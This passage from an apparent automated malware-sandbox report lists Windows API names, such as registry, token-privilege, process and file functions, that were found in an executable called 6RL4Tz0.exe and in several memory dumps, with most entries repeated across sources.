"GetOEMCP"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "IsValidCodePage"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "TlsGetValue"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "TlsAlloc"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "TlsFree"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "HeapSize"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "HeapFree"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "IsDebuggerPresent"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "DeleteCriticalSection"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "LeaveCriticalSection"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "EnterCriticalSection"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FreeEnvironmentStringsA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetEnvironmentStrings"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "FreeEnvironmentStringsW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "WideCharToMultiByte"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetEnvironmentStringsW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "SetHandleCount"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetFileType"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "HeapCreate"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "VirtualFree"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "MultiByteToWideChar"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "LCMapStringW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetStringTypeA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetStringTypeW"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetLocaleInfoA"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "HeapAlloc"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "HeapReAlloc"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "RtlUnwind"; File: "6RL4Tz0.exe.3528355195") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00000296.00000001.68505.013AA000.00000002.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00000296.00000003.76186.013A1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00000296.00000003.76186.013A1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00000296.00000003.76186.013A1000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00000480.00000002.70398.00E4A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: 